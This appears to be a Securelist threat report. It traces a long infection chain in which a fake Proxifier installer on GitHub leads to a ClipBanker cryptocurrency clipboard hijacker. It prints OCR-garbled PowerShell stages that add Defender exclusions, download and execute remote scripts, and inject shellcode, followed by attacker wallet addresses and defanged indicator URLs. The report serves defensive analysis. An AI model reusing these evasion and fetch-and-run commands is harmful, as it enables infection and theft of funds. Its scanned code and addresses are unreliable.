ClipBanker Trojan masquerades as Proxifier software

SL securelist.com/clipbanker-malware-distributed-via-trojanized-proxifier/119341

Oleg Kupreev April 9, 2026

At the start of the year, a certain Trojan caught our eye due to its incredibly long infection chain. In most cases, it kicks off with a web
search for “Proxifier”. Proxifiers are speciaized software designed to tunnel traffic for programs that do not natively support proxy
servers. They are a go-to for making sure these apps are functional within secured development environments.

By coincidence, Proxifier is also a name for a proprietary proxifier developed by VentoByte, which is distributed under a paid license.

If you search for Proxifier (or a proxifier), one of the top results in popular search engines is a link to a GitHub repository. That's exactly
where the source of the primary infection lives.
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The GitHub project itself contains the source code for a rudimentary proxy service. However, if you head over to the Releases section,
you'll find an archive containing an executable file and a text document. That executable is actually a malicious wrapper bundled around

the legitimate Proxifier installer, while the text file helpfully offers activation keys for the software.
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Once launched, the Trojan’s first order of business is to add an exception to Microsoft Defender for all files with a TMP extension, as

well as for the directory where the executable is sitting. The way the Trojan pulls this off is actually pretty exotic.

First, it creates a tiny stub file — only about 1.5 KB in size — in the temp directory under the name “Proxifier<???>.tmp” and runs it. This
stub doesn’t actually do anything on its own; it serves as a donor process. Later, a .NET application named “api_updater.exe” is injected
into it to handle the Microsoft Defender exclusions. To get this done, api_updater.exe decrypts and runs a PowerShell script using the
PSObject class. PSObject lets the script run directly inside the current process without popping up a command console or launching the

interpreter.

SErrorActionPreference =

Add-MpPreference -ExclusionExtension " trrp" -Force

SparentDirectory = Split-Path —-Parent -Path (Get-FProcess -Id §SPID).Path
add-MpPreference -ExclusionPath SparentDirectory -Force

exit

As soon as the required exclusions are set, the trojanized proxifier.exe extracts and launches the real Proxifier installer. Meanwhile, it
quietly continues the infection in the background: it creates another donor process and injects a module named proxifierupdater.exe.
This module acts as yet another injector. It launches the system utility conhost.exe and injects it with another .NET app, internally

named “bin.exe”, which runs a PowerShell script using the same method as before.

§ProgressPreference = 'SilentlyContinue
SErrorActionPreference = "SilenclyContinus"

SPRO = [Met.SecurityProtocolType]'5=213,T1ls,Tl=s11,Tl=s12";[Hec.ServicePointManager]::
SecurityProtocol = $PRO

Fonction ZTMHWIQUXLCWDV {

E("i"+'"E"4+'X") ([10.streaMREADER] : tnew({[Io.cOmpResSIoN.dEfLATeSTrEAm] : :new(

[i0 . meMORYSTreAm] [convezrt] :: ("fR"4+'CME'+"A"4"SE6"+"45TR"+"'InG") ("£V1ik . Pz8bw=="}) ,
[io.coMprEsSIon.cOMPREssiOnMoDE] t: ('d'"+'sc"+"omP'"+"'x25"+"'3") ) ) . ("R=R

D"+'ToEn'+"d') ()}
&('_'+'-_'+'_'-_'}{[lo.streaﬂEADER] :new([Io. chpReSSIDN dEfLAIeSIrEAm] tnew ([
10 .meMORYSTreAm] [convezrt]i: ("fR'+"CHME"+"'A"+" "+'45TR"+"In E o LEIEAR==T)
[io.coMprEsSIon.cOMPRESSiOnMoDE] :: ('d'"4+'sc'4+"omP '+ "re5"4+'2")) ) . ("E=RD "+ "' ToEn"+'4d" ) ())
[ThReADinG.thrEad] : : s1EEP({1700)
SATH = New-ScheduledTaskAction -Execute "ConHoST" -Argument '--headless p"OW"eR"sh"Ell
" [3CRiPTblock] : :cReaTe ([String] : :New ([CoNVERT] : : fRoMBASES4stRiNg (" "EFtT..WVI" ")} ) . InVoKe
STGR = Hew- ScheduledTaskTIlgger —Ach:gDn
TP = "Maintenanc ctin rol

SCONFIG = New- ScheduledI‘as]cSett:.ngsSet =AllowStartlfOnBatteries -RunOnlylfNetworkAvailable
—ScarctWhenfAvailable -DisallowHardTerminate -DontStoplfGoingOnBatteries -DontStopOnIdleEnd

-ExecutionTimelimit (New-TimeSpan -Days 1 )

Register-ScheduledTask -Action $ATN -Trigger $TOR -TaskName "Maintenance Settings Control
-TaskPath §TP -Setting SCONFIG -Force | out-null

Start-ScheduledTask -TaskPath "M ance Settings Control Panel”

-TaskNams "I
IWR -useb -Uri

-EA Ignore
}

ZIMHWTQUXLCWDV

[ &
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The script is obfuscated and parts of it are encoded, but it really only performs four specific actions:

o Add the “powershell” and “conhost” processes to Microsoft Defender exclusions.

o Create a registry key at HKLM\SOFTWARE\System::Config and store another Base64-encoded PowerShell script inside it.

» Set up a scheduled task to launch PowerShell with another script as an argument. The script’s task is to read the content of the
created registry key, decode it, and transfer control to the resulting script.

» Ping an IP Logger service at https[:]//maper[.]Jinfo/2X5tF5 to let the attackers know the infection was successful.

This wraps up the primary stage of the infection. As you can see, the Trojan attempts to use fileless (or bodiless) malware techniques.
By executing malicious code directly in allocated memory, it leaves almost no footprint on the hard drive.

The next stage is launched along with the task created in the scheduler. This is what it looks like:

{/Settings>
{Actions Context="Author">
{Exec>
<Command>ConHoST</Command>
{Arguments>——headless p"OW"eR"sh"E11l
"L[sCRiPThlock]l: :cReaTe{[Stringl: :New{ [CoNUVERT 1: : fRoMBASE64stRiNg ¢’ KFtTdHJpbmddOjp
0ZBcolZNuTnZFenRAO0 jpmlk?t QkF=zZTY c 3Ryal5nKChne CAoKCA I Syc »JOxNOic »JOJQM1 MgJysnZUJQ
MycrJiNSc3R1bScpLUJFc ExhY OUgJOJGHyc sW2No¥UJAOT I pKE5Dh25mallc pKS 185WUY Y 255 . InVoKe (>
"{AArguments >
{/Exec>
{/Actions>
<Principals>
<Principal id="Author">
{Userld>DESKTOP-XKTRMGUNEIXIHz<UserId>
{LogonType>InteractiveToken{ - LogonType>
{RunLevel>LeastPrivilege<{ RunLevel>
{s/Principal’>
{/Principals>
{sTask>

The task launches the PowerShell interpreter, passing the script from the arguments as input. As we already mentioned, it reads the
contents of the previously created Config registry key, then decodes and executes it. This is yet another PowerShell script whose job is
to download the next script from hardcoded addresses and execute it. These addresses belong to Pastebin-type services, and the
content located there is encoded in several different ways at once.

function vheywowakp |
SPYDQTQSSPYQIQTQDFQ - : FErrorActionPreference -
class TrusTallcERTapoldcY : HET.AcERTALICACEFOLICY |
[BOol] CheckValidationResult([nEc.SeRVIcePoint]fa,
[SeCurlt¥.CryptOSoipHY . X805cEREI£fICATEs . x 805CarcIFICATE ] Sb.
[net . weBzEqUEst] 8o, [int] 8d) {rETuRN _}}
[HET . SERVIC2PoinemhnatsR] = (| E y=[TeusthllCersaPalisy] i LN

fEabbaladSed = @

i

{

{ G50

L - b
{

{

]

or (f4aslc84locT = () Sd4aslcBdlce? -1t SEésbbaPaifed.C0unT; Sd4aslcBdlcoT++)

Sebd 56470280 = §Gebbafa%Sed[ddaslobdloaT]

S1C56a3I6540 = [conveRT]:: (| 11 (§ebd 964Ta2A0)

SLIT04830ead = [TEXT.EnCoDinG]::(( M) geTyTES ({ 1

516acabdtbhas = (=j04M[ (95,59, . . PI®i[char]§_))

§£03342d7570 = for (§7dedibd0fed = O §TdedIbd0Teld -1t §1£58a336540.Length: ST7dedIbdDTed++) (&( x')h
§524b5a0087d = [cExt . ENCODIng]::{('UTFL"}) . GetString (§£03342d4T970)

Ery {
Sdedsalf2ala = iwr -Tci 592!h9d088?d -UsEk
if (§4eadcalfZala.STAcUS

ShTcTTI0BATI = ([cOMVERT]::({("f TF Fli[nec wEBCLIENT] - :HeW (). [('[ ADaTET "1} (§924bFalEETA) } )
§TEDBESeZf8d = [10. mEHE!;;TREﬂm| neM (§bToTTI0BEAT 2)
5b200T58c000=[Typ=] (-JoIH( (| if Ef fé=lrdq45e - - 4 1 Vi-sBlicd ' (.o ' }FIF{E_F1%] [CMaR]) [cOoVERE]
fdedoalflala=[I10.5treaMrEaleR] : tn=W (5b20cT58cllo: inel (3T8bAES2f8d, [10.C0mprEaSidn. CompREssiOnMODE] | b BERDEoENA ()
§1606f8a5Ta={[chac[])(0..c4473. +65 . +31. .96+ . +57. + . J[IL.;B[]_$1udca0£2dﬂd]—uuiﬂ ]
cey{dl. ') §16660BaS T a) oanchi)
ratarn

1

1
catch {
aontinas

1
1
zvhrywowakp

Decoded and deobfuscated script from the Config registry key
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The script from Pastebin continues the download chain. This time, the payload is located on GitHub.

S1z=([nEt.WeBCLIENT]: :neW() .DownloADsTRING(([TEXt.eNCodiNg] : :UtFE.GetsTriNG
([ConVeRT] : : fRCmBasc645TrInG{ (" {1} {25 {4 {19 {12 {11} {TH{9{22{0} ]
{10} {24 {21} {5{23}{14}{15} {20} {6}{1 ] ]
'mOTQSOGFIN' , ' 0

'OMT", "S53, 1YL,

[[char[]1]151z]-join"") |ieX

Decoded script from Pastebin

It's a massive script, clocking in at around 500 KB. Interestingly, the bulk of the file is just one long Base64 string. After decoding it and
doing some deobfuscation, we end up with a script whose purpose is quite clear. It extracts shellcode from a Base64 string, launches
the fontdrvhost.exe utility, injects the shellcode into it, and hands over control.

foncticm DyWdSImwCTvabzKZ [
Faram (FhTraMbVESpHLA, FRETEaFamdn T, FitAERuluGosfCs)
$IBtrTIapERITMEX] = SotAChmlNwlafos.qEcoypE ([ t . Wind2 . Donras K ¥l
SipTraRMaHIRdoe) = B{BSraTaFEALTWHE} . gETHecROI( [ 1o ITrmell) B T T (! 1t
ratern §[btcihdusncRDOT} . ASVOES {Smoll, B [[Syaten. Re=tize . IntaropSearvices . Bacdlefas] [. ' £*} System.Funtime.IztescpSscvices.Sandleles|{. (S £"] IztPecl, (${bTsoiXpkRlulaX) . gETHaCE
1
fomctiom TILEILEELEYGENSL |
Faram (|FarsneceriFosition = (.Handatory = ([keCl) (3Y¥sTeH, oolLlEotIoNS. AABETARLL]10 ) [Typ=[]1] SDSrilrnowiinty, [Paraseter (Position = 13] | | EnTrEfskbBrelw = [woIE])
SENCDorAiS, dEFinEdYoAns caSsal @Iy [ {. ' ©* Sywtam.Reflection.AsssctlySass( | 1 110 [@E@cEN. Rall oM. EMiT. AaSentl Vel lDERACCRES] @ :Rull}
0 i g F 1.4 |STETEN, perleotlon. CALLIBUOSVENTLAONS ) 1 | STASIARA, SDCETLEDCWIRUTY) | SETIMpLERSSTATIONTLAGS [ | [SEXT . ENCOALIng) | 1Ced  SETATE
kw"} . §'Pebliz, Hi . lot, 1. SETTEEWaKEETal, SATrELrnOWGTaty) . sETinFlassstarI0ne 1hgs ([ Funt Har ¥l

= [CoVeRt] | 1 Frosmase f4aTRlng ("0

apRacMalN] : | cORTENCADMATN . SETARSSMBLIaS () | . [
=HBLrErelnEveNL SeTuipe ([ g
BERErERMBP el . LTy

'3 b LHVeRe (hall

ThOeeMETHOO| (" "B BEELl ; Beall

. roSTTes_inTsSoPesryTCES mikraHal] @ SITAFLaGaTEFORNnCricRpaiBzaR [{. { £ } BilinTpTR], I
[ Syares. BusT: a1n 1 lbernell 1, [IaTpus], [LYEE[]]
[S¥aTEm.runti 1 ksznsl 1. [AmTETR], [uiztlz

EELT

The shellcode, in turn, unpacks and sets up the code for the final payload. This is classic ClipBanker-like malware, and there’s nothing
particularly fancy about it. It's written in C++, compiled with MinGW, doesn’t bother with system persistence, and doesn’t even connect
to the network. Its entire job is to constantly monitor the clipboard for strings that look like crypto wallet addresses belonging to various
blockchain-based networks (Cardano, Algorand, Ethereum, Bitcoin, NEM, Stellar, BNB, Cosmos, Dash, Monero, Dogecoin, MultiversX,
Arweave, Filecoin, Litecoin, Neo, Osmosis, Solana, THOR, Nano, Qtum, Waves, TRON, Ripple, Tezos, and ZelCash), and then swap
them with the attackers’ own addresses.

Here is the full list of replacement addresses:
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COoONOODRWN=

addr1qgxenj0dwefgmp9z4t4dgek3yh3d8cfzcl6u97x2In8c4nljjv7xdw2uljhfdy90armOxrOdas4kznrh8qj33dzu8z5fqdtusyt
QSAROFQNKPXKKDNK67N5MQY5IQ4MTKGLI6SKREVHKW53R2M6WHORP3ME2E
0x97¢16182d2e91a9370d5590b670f6b8dc755680552e40218a2b28ec7ad 105071
grherxuw7fupud48I9xwvdcg7w6498g7xvisOvgqyq
bc1q88r38gk8ynrhdfur7yefwf5hrn2y56s90virvg
36vf1gvZSxHkRRhAFiH6fotVWYEwH3tk22
14U9sBVDRyEfPgR8h9QJatwtrodey4NeH4
bc1phfm9d0fpqtgrohkrxx5ww9k2qzww59q5czga95rtmk6vh5h8devsa72fxk
btg1qgfrsueknwmg92xrpch22wru0gdkadp2vum3pd]
AcRjmRuDswUeQHtxJnzAn496r9Lo8XQjUK
GWIDJpw4mBJInVUWucX3szdH5bXZ9pqzLRF
bnb18ngx60dx6dhhsdyddcl0653392w0v4yhx07knl
cosmos10zqqOfrphOrs36wwjg4r2r5626m6a2dgv3hénv
DskZFNcs5MKg9EdvhAnu87YGzWw\VoBvd2tZ
Xj3KofSCPq970dR8hiFjfeZs2FgbwUbstk
DJYXgJuBrc7cuGn4sgJdXz1sdArKURkoWS9
erd14n38wkxm9epjh0s2y8078yqqzy4ztq9ckczy883dwcfgd54peaqs3tp2k2
a2dB176hgduQopnJPrEGjfojRWSHwWTS62Q
f1gxoyqf3va2mwfbgzah3t7pge7x5fmdev5dqc25a
inj1qw709q8utgjhxrs2cqczhmz2w254dedllzmlef
Itc1g4calyk5x5g36¢ckpsrcrondtxdlcO0ea9gs4h44n
MCB8j9kXkX3f3BoXaBcsDcIRFoki9Kb3AR
LhMGEmMEGwxcGhCEQ7QmbC1hywRbHbbv6p8
14FBxuV8HEuUuWPFoFHbbG4HmM4pa7CqroQiGDeWvZdGiiJm8W
osmo10zqqO0frphOrs36wwjg4r2r5626m6a2dgy2y297
7ATUKGMEBAG9Tz5Qed4eRf1EAWqINUVYXMICGmtSbaJXR
thor12x0ngpjz2djpuaxm?2j2z963sawdcze3nhxacyu
EQA28DFYnisowE0e49Sp2DUvERKQWOJGbvegkWRPXE83bMnQ
nano_1j9mjyi4q8qytb1r7yyqntzkyay5xo1wznnwmy9a3p9r371zb3d6wr6xs8y5
QXwbgRnmxgmMZQk5WEVMYEBVzf1MP4eMY9
3P7zSKMhfMPr5kd85xtHNmCx2gi9apCgnSP

TNKGLYwtjcSk2A9U8cxJzttGe GEgz56hSP
GB4XWREV3WOXWIWFE3DVX3FUNUXLOC7EEGXHZXRUKISAMZAG3SV7EV4P

46QtL5btfng85iGrPDFabp4mxGhRbEZJaH67i5LhQsWhCnuiURKVU74QbMpf4 TcZqgDnENMWaqhpt82vQSEdyBf4Tp1v8Y9

rKwSuwgNNWn8P8x1ckUopKKErnPW3tVrz9
tz1cPNzMxTsLzV1Gca2VowGgjRm7MkRzGLw5
t1Nwwai9UsQxcgJdVVbssnmfijfznhbg2v8ud

ZEPHYR2tzMbbkY7CCsShtADgstJLEeZfEIDHQeRchSg8FoqAn2XzsDD8eEEx5cweBQb4jX12DhfPz36¢6 TD6UVIfPrcFMqwzTn93Y



The complete execution chain, from the moment the malicious installer starts until the ClipBanker code is running, looks like this:

P, I I s
9> BB - BB .0

Faioe Instaber Froxifier??Timp  prosiferupdater.exe conhost exe birexe P“‘;‘“’;;he" Task Scheduler

— =D D[] — [ —
GitHuly Pastabin

PowarShall PowarShel PowerShall Ragistry Hay powarshall sue
script script script

[
S [ —
fontdrvhost.axe ClipBankar

Victims

Since the beginning of 2025, more than 2000 users of Kaspersky solutions have encountered this threat, most of them located in India
and Vietnam. Interestingly, 70% of these detections came from the Kaspersky Virus Removal Tool, a free utility used to clean devices
that are already infected. This underscores the importance of the preemptive protection: it is often cheaper and easier to prevent the
infection than to face consequences of a successful attack.

Conclusion

This campaign is yet another perfect example of the old adage: “buy cheap, pay twice”. Trying to save a buck on software, combined
with a lack of caution when hunting for free solutions, can lead to an infection and the subsequent theft of funds — in this case,
cryptocurrency. The attackers are aggressively promoting their sites in search results and using fileless techniques alongside a
marathon infection chain to stay under the radar. Such attacks are difficult to detect and stop in time.

To stay safe and avoid losing your money, use reliable security solutions that are able to prevent your device form being infected.
Download software only from official sources. If for some reason you can’t use a reputable paid solution, we highly recommend
thoroughly vetting the sites you use to download software.

Indicators of compromise

URLs

https|:]//chiaselinks[.Jcom/raw/nkkywvmhux
https|[;]/rlim[,Jcom/55Dfg32kaR/raw
https[:]//paste.kealper[.]Jcom/raw/k3K5aPJQ

httpsl:]//pinhole[.Jrootcode[.Jru/rogers7/dev-api/raw/master/cpzn
https[:]//githubl.]Jcom/lukecodix/Proxifier/releases/download/4.12/Proxifier.zip
httpsl:]/gist.github[.]Jcom/msfcon5013/107484d66423cb601f418344cd648f12/raw/d85cef60cdb9e8d0f3cb3546de6ab657f9498ac7/upxz
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